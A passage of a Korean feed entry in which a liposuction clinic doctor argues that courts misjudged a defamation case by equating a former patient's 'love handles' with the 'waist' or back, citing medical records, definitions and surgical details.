합니다.&lt;/p&gt;</content>			</entry><entry>
		<title>판사는 &quot;러브핸들&quot;을 &quot;허리&quot;라고 부르며 &quot;허리&quot;를 수술하지 않았다고 판결했습니다.</title>
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		<published>2021-01-04T09:58:48+09:00</published>
		<updated>2021-11-09T10:30:36+09:00</updated>
		<author>
			<name>mwjygrf</name>
		</author>
		<summary type="text">저는 돈만 받고 &quot;옆구리가&quot;가 아닌 &quot;허리&quot;를 수술하지 않은 의사가 되었습니다. 이 사건(2019나14194호)을 이해하기 위해서는 먼저 러브핸들의 명칭과 피고가 저희 비너스의원과 T의원에서 받았던 수술부위를 명확하게 이해해야 합니다. 피고는 원고가 돈만 받고 &quot;옆구리(러브핸들)를&quot;를 수술하지 않았다고 했는데 원심은 원고가 &quot;허리&quot;를 제대로 수술하지 않았다고 하였으며, 피고가 &quot;수술에 불만을 표현하는 과정에서 다소 과장했...</summary>
	<content type="html">&lt;h3 class=&quot;page-header&quot;&gt;저는 돈만 받고 &amp;quot;옆구리가&amp;quot;가 아닌 &amp;quot;허리&amp;quot;를 수술하지 않은 의사가 되었습니다.&lt;/h3&gt; &lt;p&gt;이 사건(2019나14194호)을 이해하기 위해서는 먼저 &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak01&quot;&gt;러브핸들의 명칭&lt;/a&gt;과 피고가 &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak02&quot;&gt;저희 비너스의원&lt;/a&gt;과 &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak03&quot;&gt;T의원에서 받았던 수술부위&lt;/a&gt;를 명확하게 이해해야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 원고가 돈만 받고 &amp;quot;옆구리(러브핸들)를&amp;quot;를 수술하지 않았다고 했는데 원심은 &lt;a href=&quot;#debak04&quot;&gt;원고가 &amp;quot;허리&amp;quot;를 제대로 수술하지 않았다&lt;/a&gt;고 하였으며, 피고가 &amp;quot;수술에 불만을 표현하는 과정에서 다소 과장했다&amp;quot;는 점을 들어 피고에게 면제부를 주었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;범죄자와 마녀의 차이점은 범죄자는 진실한 증거를 토대로 판사가 판단한 것이며, 마녀는 허위의 증거를 토대로 마녀로 판단한 것이라고 생각합니다.&amp;nbsp; 판사가 증거의 진실성을 확인하지 않고 피고가 주장하는 증거만를 토대로 판결한다면 이는 불특정 다수에게 명예훼손을 당한 억울한 마녀를 판사가 범죄자로 판정한 것과 같다고 생각합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;518924&quot;&gt; 또한 피고가 게제했던 많은 게시글의 허위사실 여부를 판정하지 않고 누락하였습니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;원심 판결이 공정하지 않았다는 근거는 아래와 같습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;첫째,&lt;/strong&gt; 원심은 피고가 135도와 225도 부근(몸통의 후면)을 &amp;#39;러브핸들&amp;#39;로 인식하고 있다고 하였으며 이 부위를 이 사건 &amp;lsquo;허리&amp;rsquo; 부위라고 명명하여 원고가 &amp;#39;허리&amp;#39;를 제대로 수술하지 않았다고 판단하였습니다.그러나 피고는 인터넷 게시글이나 본 재판 준비서면에서 &amp;#39;허리&amp;rsquo;라는 단어를 한번도 언급한 적이 없었습니다. 원심는 자의적으로 피고가 &amp;quot;러브핸들&amp;quot;을 135도 225도 부근이라고 생각하고 사실상 원고가 피고와 계약하지 않았던&amp;nbsp;135도와 225도 부근 즉, &amp;quot;뒷등&amp;quot;부위에 대해 수술을 재대로 하지 않았다고 하여 피고에게 면죄부를 준 것입니다. 원고는 1심에서 대한의사협회 사실조회 및 감정신청 회신서를 제출하여 T의원의 러브핸들에 대한 인식과 진단서가 잘못되었다는 것을 알렸고, 2심에서는 국내 지방흡입 전문가들에게 설문조사를 하여 T의원의 진료기록에 문제가 있음을 지적했음에도 1심과 2심 모두 T의원의 진단서만 신뢰한 것은 증거조사를 소홀히 하고 진실을 애써 외면한 판결입니다. &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak05&quot;&gt;이에 대해 제5항에서 부연 설명합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;둘째,&lt;/strong&gt; 그나마 1심과 2심이 판결에 인용한 6개의 내용조차도 명확하게&amp;nbsp;허위사실이 분명함에도, 인터넷에 게제한 수술사진이 조작되었음이 확실함에도 허위사실로 인정하지 않았으며 이에 대해 제 6항에서 자세하게 설명합니다,&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;셋째,&lt;/strong&gt; 원고는 본 소송을 제기하기 이전에는 T의원의 진료기록을 알지 못했기 때문에 피고의 허위사실에 대해 제대로 주장하지 못했으나, 1심을 통해 T의원에 사실조회 신청을 하여 진료기록을 확인 한 바 피고가 인터넷에 게시했던 97개가 넘는 게시물에서 수 많은 허위사실을 추가적으로 입증할 수 있었습니다. 이에 원고는 2심 준비서면을 통해 피고가 작성한 허위사실에 대해 추가적으로 자세한 설명을 하였음에도 2심은 이를 판결에 누락하였습니다(검사는 피고의 게시글을 총6개만 인정하여 명예훼손에 대해 무혐의 처분을 하였습니다). &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak07&quot;&gt;이에 대해 제7항에서 부연 설명합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;넷째,&lt;/strong&gt; 피고가 인터넷에 반복적으로 게제한 주된 내용은 &amp;lsquo;원고가 돈만 받고 계약된 부위인 러브핸들에 수술을 하지 않았다. 사기당했다&amp;rsquo;라는 내용으로 이는 지방흡입이 필요한 환자에게 수술경험담을 통한 정보제공의 내용이 될수 없습니다. 이러한 수술을 하지 않았다는 문제는 여러 가지 객관적인 증거로 민사소송을 통해 손해를 회복할 사안이지 대중들에게 피의사실을 공개하여 원고를 비방해서는 안 됩니다. 피고의 피의사실 공개행위를 용인하게 되면 앞으로 소송을 통해 합리적인 손해의 입증이 아닌 대중에 의한 공개재판으로 &amp;lsquo;꽃놀이 패&amp;rsquo;처럼 잘못된 피해보상이 강압적으로 이루어 질 가능성이 있습니다. 피고는 이러한 약점을 노리고 원고를 압박하여 자신의 사적인 욕심을 채우려고 했습니다. &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak08&quot;&gt;이에 대해 제 8항에서 설명합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;다섯째,&lt;/strong&gt; 피고는 원고가 돈만 받고 러브핸들에 수술하지 않아 사기를 당했다는 취지의 허위사실을 게제했음에도 원심은 검사와 마찬가지로 원고가 수술을 제대로 하지 않았기 때문에 정보제공 목적으로 공익차원의 공공의 이익을 위한 게시글로 인정하여 피고의 허위사실에 대하여 의료 전문지식이 부족한 일반인이라는 이유로 위법성을 조작한 것은 의료법을 위반한 피고에게 면죄부를 주는 잘못된 판결이며(의료법은 일반인의 무분별한 치료행위와 잘못된 의료정보로 인한 국민의 피해를 막기 위해 의료인이 아닌 일반인의 무면허 의료행위와 의료정보및 의료광고의 게제를 막고 있음).&amp;nbsp;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak09&quot;&gt;이에 대해서는 제9항에서 설명합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;여섯째,&lt;/strong&gt; 피고가 인터넷상에 허위의 내용이나 비방하는 내용이 있는 게시물은 총97개로 원고는 간략하게 표로 이를 정리하여 제시하였지만 각각의 게시물의 내용을 읽어 보면 반복적이고 악의적인 내용을 확인 할 수 있습니다. 피고는 게시한 이러한 게시물은 네이트 판, 네이버 블로그, 네이버 지식인, 다음 카카오 비너스의원소개 페이지 등을 통해 불특정 다수에게 노출되었습니다. 그리하여 원고는 네이버, 다음, 네이트 측에 명예훼손하는 글로 신고하여 약 1개월동안 게제가 중단되었으나 피고의 이의제기로 인해 다시 게제 되었습니다. 원고는 닥터칼럼에 게시글을 작성하여 피고가 잘못 알고 있는 의학적인 내용에 대해 설명하기도 하고 경찰서에 명예훼손으로 신고도 하였으나 피고는 무혐의 처리 되었던 것입니다&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;이에&amp;nbsp; 본 소송에 이르게 되었고 피고의 게시글은 2년 6개월 동안 게제되었으며 2019.6월경 비로소 대부분의 게시글이 삭제되었습니다. 원심의 판결은 원고 패소로 원고는 피고의 게시글로 인한 피해에도 불구하고 본 소송을 해서는 안 되는 것이었습니다. 그렇다면 원고는 인터넷을 통한 명예훼손을 당하면서도 그냥 보고만 있어야 한다는 결론이 나옵니다.&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;그동안 원고는 피고의 수많은 허위사실을 적시한 게시글로 명예훼손뿐만 아니라 영업방해를 받아서 수술건수의 감소와 함께 수익이 감소했습니다. 그러나 이번 판결의 주문을 보면 원고의 피해에 대해 전혀 인과관계를 인정하지 않았습니다. &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak10&quot;&gt;이에 대해서는 제10항에서 설명합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;일곱째,&lt;/strong&gt; 원고는 수술당일 수술방에서 촬영한 사진과 수술전후사진을 제시하여 러브핸들을 수술했다는 증거를 제시하였을 뿐만 아니라 T의원의 진료기록과 진단서가 잘못되었음을 지적하고 의사협회에 감정요청서를 재판부에 재출하였음에도 재판부는 이를 기각하여 진실성 여부를 확인하려 하지 않았습니다. 이는 피고가 검찰에서 무혐의를 받은 것처럼 T의원의 진단서에 대한 증거검사 없이 판결을 한 것입니다. &amp;lsquo;수술여부를 판단하는 T의원의 진단서가 법적인 효력을 갖는가&amp;rsquo;라는 질문에 대한 의사협회에서는 &amp;lsquo;진단서는 반드시 진실성을 담보하여야 하는 책임을 가진다&amp;rsquo;라고 하였듯이 2심은 진단서의 진실여부를 반드시 확인해야 했어야 합니다. &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak11&quot;&gt;이에 대해서는 제11항에서 설명합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;여덟째,&lt;/strong&gt; 피고는 원고에게 &amp;rdquo;약질&amp;ldquo;라고 부르는 등등 수많은 허위사실로 원고를 비방 하였음에도 원심이 &amp;rdquo;양아치&amp;ldquo;라는 욕설에 대해서만 모욕으로 판단한 것은 30년간 의사로서 환자의 치료에 정성을 다해왔던 피고에게는 마음의 상처가 되었고, 의사와 환자의 신뢰를 깨뜨리는 비방 행위는 의사 뿐만아니라&amp;nbsp; 환자들에게도 피해가 되는데, 원심은 이를 헤아리는 현명한 판결이 아니었습니다(원고는 30년을 의업에 종사해 왔으며 그중 15년을 지방흡입으로만 병원을 운영했습니다). &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;#debak12&quot;&gt;결론에서 본 재판의 문제점을 요약하여 말씀드립니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak01&quot;&gt;1. &amp;rdquo;러브핸들&amp;ldquo;은 몸통의 측면 즉 &amp;rdquo;옆구리&amp;ldquo;에 돌출된 지방조직을 의미하며 러브핸들이 등쪽으로 확장된 부분은 &amp;rdquo;뒷구리&amp;ldquo;라고 부릅니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;첫번째로 먼저 &amp;quot;러브핸들&amp;quot; 이라는 단어의 의미를 확실하게 해야 할 필요가 있습니다. 아래는 위키피디아에 나오는 러브핸들에 대한 설명입니다(https://en.wikipedia.org/wiki/Love_handles).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;&amp;quot;Love handles&amp;quot; is an informal term for the sides of deposits of excess fat at the side of one&amp;#39;s waistline(&amp;quot;러브핸들&amp;quot;은 사람의 허리라인 측면, 즉 옆구리에서 과도하게 축적된 지방을 일컬는 비공식적인 용어이다)&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;What-causes-love-handles-problem.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/51af55e8c0ed105a76ddc1ca80ada0fc.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;출처:https://shop4fun.online/best-waist-trainer-for-love-handles/&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;여기서 허리라인(waistline)은 옷의 상부와 하부사이를 구분하는 선이며(Waistline refer to the line of demarcation between the upper and lower portions of a garment), 허리(waist)는 갈비뼈와 힙 즉, 골반 사이에서 사람의 몸통에서 가는 부위를 말합니다(Waist refer to the narrow point of the human body between the ribcage and hips).&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;따라서 &amp;quot;허리&amp;quot;는 &amp;quot;허리가 가늘다&amp;quot;라는 표현으로 쓰는 것이지 등을 의미하는 &amp;quot;허리가 아프다&amp;quot;라는 표현은 잘못된 것으로 &amp;quot;등이 아프다&amp;quot;라고 써야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;2560px-Waist.svg.png&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/9127c1793cc3d869a4026d4a0ef71ce7.png&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;위키피디아에서 Waistline(허리라인)을 설명하는 그림&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;일반적으로 여성의 몸매를 이야기 하면서 34, 24, 34로 부를때 이는 가슴(bust)/허리(waist)/힙(hip) 둘레를 의미하며, 혹자는 허리/힙 둘레의 비율(Waist/ Hip ratio)이 0.7일 때 가장 아름다운 몸매라고도 합니다.&lt;br /&gt; &lt;br /&gt; &lt;strong&gt;그러므로 1심과 2심이 러브핸들을 이 사건 &amp;lsquo;허리&amp;rsquo;부위라고 명명한 것은 일반적인 상식에 반하는 판단입니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;chart-body.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/f4eaac926faf9c3742bafc20ebd0eb42.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;lt;출처: https://leonardodalmagro.com/how-to-get-your-body-measurements/&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;또한 원고는 대한의사협회에 감정 신청을 하여 러브핸들에 대한 의미를 질의를 하였는데 &amp;ldquo;러브핸들은 몸의 허리라인을 망가뜨리는 옆으로 삐죽삐죽 튀어나온 옆구리 살&amp;rdquo;이라는 답변을 받았습니다(갑제4호증).&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;photodune-4184068-woman-pinching-fat-from-her-waist-xs-562x330.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/daf6313a264e6c83c2e5da70eae4a496.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;출처:https://www.fitness19.com/love-handle-and-muffin-top-melting-exercises/&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;참고로 힙(hips)는 여성이 양쪽 허리에 손을 얹고 서있을 때 닿는 부위이고, 엉덩이(buttocks)은 엎드려서 볼기살 맞을 때 닿는 부위로 지방흡입을 수술하는 의사는 신체부위를 명명하는 용어의 위치를 명확하게 알고 있어야 합니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;한편 미국의 성형외과 의사 Tattelbaum(타텔바움)은 아래처럼 옆구리에 돌출된 &amp;lsquo;러브핸들&amp;lsquo;이 등쪽으로 확장된 부위를 &amp;lsquo;뒷구리&amp;rsquo;라고 부르면서 두 부분을 서로 다른 부위로 구분하고 있습니다(출처: http://bit.ly/37MATLf, 그리고 2020.8.18.자 원고의 준비서면에서 자세히 설명하였습니다.)&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;p&gt;The frontal flank is the love handle or the area you can grab if you pinch the roll just above your hips. In some people, this roll is mainly on the side of the body, but in some it extends all the way around above the buttocks. When it goes around the backside I call this the &amp;ldquo;posterior flank&amp;rdquo; and I handle this differently(정면 옆구리는 러브핸들 또는 힙(엉덩이 측면 돌출부위) 바로 윗쪽 늘어진 돌출부위를 꼬집을 수 있다면 그 때 잡히는 부위를 말합니다.&amp;nbsp; 대개의 사람들에 있어서 이러한 돌출은 주로 몸통의 측면 부위에 주로 있지만, 어떤 사람들에게 그것은 엉덩이 위쪽까지 이어져 확장이 됩니다. 그것이 등쪽까지 확장되면 저는 이를 &amp;quot;뒷구리&amp;quot; 라고 부르며 이것을 다른 방법으로 처리 합니다.).&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak02&quot;&gt;2. 비너스의원과 피고가 계약했던 지방흡입 수술부위는 몸통의 전면 + 측면이었습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;지방흡입 수술은 피부와 근육 사이에 있는 피하 지방층의 지방조직을 제거하는 수술로서 피하 지방층 두께에 따라 사이즈 감소가 차등이 있는 성형수술로 제거된 지방량 만큼 사이즈 감소가 있습니다. 그러나 과도한 지방조직의 제거는 피부의 괴사및 피부와 근육의 유착등으로 여러가지 합병증의 비율이 증가하게 되므로 성공적인 지방흡입 수술은 지방의 제거가 아닌 적당량의 지방을 남기는 데에 있으며 결과적으로 균형감있고 자연스러운 체형을 만드는데 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 복부의 지방흡입을 할 때 최소의 절개구를 사용하여 수술하고 있는데 몸통 360도 즉 원통형 지방흡입 수술에는 옆구리에 2개 꼬리뼈 절개구 1개 총 3개를 사용합니다. 아래 모식도에 있는 것처럼 수술은 누운 자세에서 A절개구를 이용하여 몸통의 전측과 측면을 수술한 다음 엎드리게 하여 꼬리뼈에 있는 B절개구를 이용하여 몸통의 후면을 수술하고 있습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;복부지방흡입모식도2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/8ab4c6609a10772f0785bc8c93b45c00.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;lt;원통형 복부수술을 위해서 반드시 필요한 A절개구 2개와 B절개구 위치&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;지방흡입 수술은 수술범위가 늘어남에 따라 비용도 증가합니다.&amp;nbsp;피고의 진료기록부에는 원고와 복부 지방흡입을 상담하여 ①맥시머(상복부 + 하복부 + 옆구리), ②전측복부(상복부 + 하복부 + 흉부복부), ③프리미엄(전측복부 + 옆구리 + 뒷등)을 권유 받았으며 피고는 상담실장과 비용상담후 ①번을 선택하고 흉부복부를 추가 했습니다. &amp;lsquo;맥시머&amp;rsquo;, &amp;lsquo;프리미엄&amp;rsquo;의 의미는 일종의 묶음수술로서 원고의 비너스의원에서 수술범위를 체형별로 단순화하기 위해 만든 일종의 상품명입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 피고의 블로그 게시글 일부로서 수술비용에 대해 정리된 내용입니다. 피고가 받은 지방흡입 비용은 맥시머 + 흉부복부는 수술비용은 총 259만원이며 나머지 160만원은 피고가 특별하게 요구한 가슴이식수술 비용입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술비용기재.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/fe5ecfe9442863c26970830a5d4fe3bf.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고가 블로그에 게제했던 수술비용에 대한 설명&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고가 받았던 &amp;lsquo;복부맥시머 + 흉부복부&amp;rsquo;수술은 누운 자세에서 양측 옆구리에 총 2개의 절개구를 내어 수술을 받으며, 만일 피고가 ③번 복부 프리미엄 수술은 원했다면 피고가 T의원에서 수술을 받은 것처럼 엎드리게 한 자세에서 꼬리뼈에 절개구를 내어 추가로 뒷등 부위의 지방흡입 수술도 받았을 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;만일 피고의 체형에서 복부 프리미엄 수술을 받았다면 수술비용도 여기에 80~100만원을 추가해야 하며 총 비용은 350만원이 예상됩니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;절개구의 위치를 알면 수술범위를 알수 있습니다. 예를 들어 ①하복부 또는 상복부만 필요한 분이 있습니다. 상복부 위쪽 갈비뼈가 있는 부위는 지방이 적어 대부분 수술이 필요 없지만 전체적인 복부비만의 경우 흉부복부를 추가해서 수술을 받기도 합니다. 그 때는 흉터가 보이지 않도록 배꼽 안에 절개구를 만들어서 수술을 하기도 합니다. 그러나 ②상하복부 + 옆구리 수술을 하기 위해서는 양쪽 옆구리에 절개구를 만들어야 합니다. 그리고 ③상하복부 + 흉부복부 + 옆구리 + 뒷등(뒷구리)를 원하는 경우 옆구리 절개구 2개로 수술을 하고 나서 옆드린 자세로 꼬리뼈에 절개구를 추가하여 뒷등(뒷구리) 부분을 수술을 해야 합니다. 그러나 수술 범위가 늘어날수록 수술비용은 늘어납니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 원고에게 상하복부 + 흉부복부 + 옆구리 지방흡입 수술을 259만원에 계약을 하고 수술을 받은 상태였습니다. 그리고 약 10개월 뒤에 T의원에 가서 꼬리뼈 절개구로 뒷등(뒷구리)를 수술 받았으며 수술비용은 150만원을 지불했다고 합니다. 그러므로 피고는 T의원에서 절개구 위치를 꼬리뼈에 두고 엎드린 상태에서 몸통의 후면 즉 뒷등(뒷구리) 부위를 수술 받았으면서 다른 사람들에게는 옆구리(러브핸들)에 재수술을 받았다고 거짓말을 하고 원고가 &amp;ldquo;러브핸들에 돈만 받고 수술을 하지 않았다. 사기를 당했다&amp;ldquo;라고 비방한 것입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;다시 말씀드리면, 피고는 259만원 하는 몸통의 전면과 측면 즉, 복부 + 옆구리를 계약하고서 원고가 350만원하는 전면, 측면, 그리고 후면 즉, 복부 + 옆구리 + 뒷등의 원통형 복부수술을 하지 않았다고 주장하는 셈입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 경찰조사당시는 피고가 T의원에서 받은 수술에 대해 알 수 없었으며 본 소송을 통해 사실조회 신청으로 T의원에서 받은 피고의 진료기록을 확인할 수 있게 되어 결국 피고가 T의원의 진단서와 진료기록에 의해 검찰에서 명예훼손에 대해서 무혐의처분을 받았음을 알게 되었습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;투메슨트 지방흡입은 수액에 마취제등을 섞은 투메슨트액을 수술부위에 주입하여 지방층을 불린 다음 지방조직을 흡입해내는 수술로서 이렇게 지방층을 수액으로 불리는 과정을 통해 출혈을 최소화 하면서 지방조직을 안전하게 제거할 수 있습니다. 따라서 주입한 투메슨트액의 양을 보면 수술범위가 어느 정도 되고 지방흡입량이 얼마나 될지 추측할 수 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고 비너스의원의 수술기록지와 진료기록지에 수술일은 2016.3.7. 수술부위는 &amp;quot;복부맥시머 + 흉부복부 + 유방지방이식&amp;quot;로 기록되어 있으며 주입된 투메슨트액은 4400ml였으나 유방이식을 위해 유방에 주입한 1000ml를 빼면 3400ml를 주입하여 몸통의 전면과 측면을 수술을 한 것입니다(갑제1호증).&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;투메슨트 지방흡입에서는 대부분 주입량의 1/3~1/2 정도가 총흡입량이 되므로 원고의 총흡입량은 1100~1700ml가 되어야 합니다. 원고의 수술기록지에는 총흡입량이 1190ml로 되어 있으므로 이에 합당합니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;투메슨트 지방흡입에서 총흡입량 중에서 수액을 제외한 지방량은 평균70%정도 되지만 상황에 따라 평균오차가 많아 신뢰구간이 넓습니다. 피고는 2013년도에 타병원에서 옆구리에 한번 지방흡입 수술을 받았기 때문에 제거된 지방량은 상대적으로 적은 530ml가 제거 되었습니다(갑제12호증).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한 원고 비너스의원 홈페이지에 복부 맥시머 수술에 대한 디자인 도면이 있으며 이와 동일한 모습의 수술당일 디자인을 하고 나서 촬영한 사진, 그리고 수술을 마치고 촬영한 사진, 수술후 1주 수술후 1개월째 촬영하여 전후사진비교를 한 사진등을 재판부에 제출하였습니다(갑제19~20호).&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;lt;원고가 수술후 1주일 때 촬영한 수술전후사진비교&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;결론적으로 피고가 저희 비너스의원에서 수술을 받았던 2016.3.7 모습은 몸통의 전면부와 측면부 즉, 전측복부 + 옆구리 부위였습니다. 비너스의원에서는 누워 있는 상태에서 지방흡입 수술을 받았으며 지방흡입 수술을 위한 절개부는 양측 옆구리(ASIS 하방)에 각각 1개씩 총 2개가 있습니다.&amp;nbsp; &amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak03&quot;&gt;3. 피고가 T의원에서 받았던 지방흡입 수술부위는 몸통의 후면 즉, 뒷등(뒷구리)였습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 2017.1.16. 상담일에 T의원 서용승에게 초음파 검사를 받았습니다. T의원이 제출한 진료기록부에 의하면 피고의 초음파 측정치는 옆구리는 사각형을 그려 12~14mm, 러브핸들은 동그라미를 그려 24~26mm로 서로 명확하게 구분하여 기록되어 있습니다. 따라서 T의원에서는 옆구리와 러브핸들은 CC의 통화기록에서 보여 지듯이 명확하게 서로 다른 부위입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;T의원이 제출한 초음파 진료기록(갑제11-2호증)은 2017.1.16일 측정되었으며 그 내용에는 &amp;quot;적혀있는 숫자는 술전 초음파로 측정한 피하지방의 두께(mm)fh 추정됩니다. 붉은 동그라미가 러브핸들을 측정한 적이며, 붉은 네모가 옆구리를 측정한 것이라 판단됩니다{ 라는 내용이 적혀져 있습니다. 따라서 T의원은 러브핸들과 옆구리를 서로 다른 부위로 인식하고 있다는 것을 의미하며, 피고는 러브핸들에서 측정한 측정치를 옆구리에서 측정한 것이라고 다른 사람들에게 거짓말을 했던 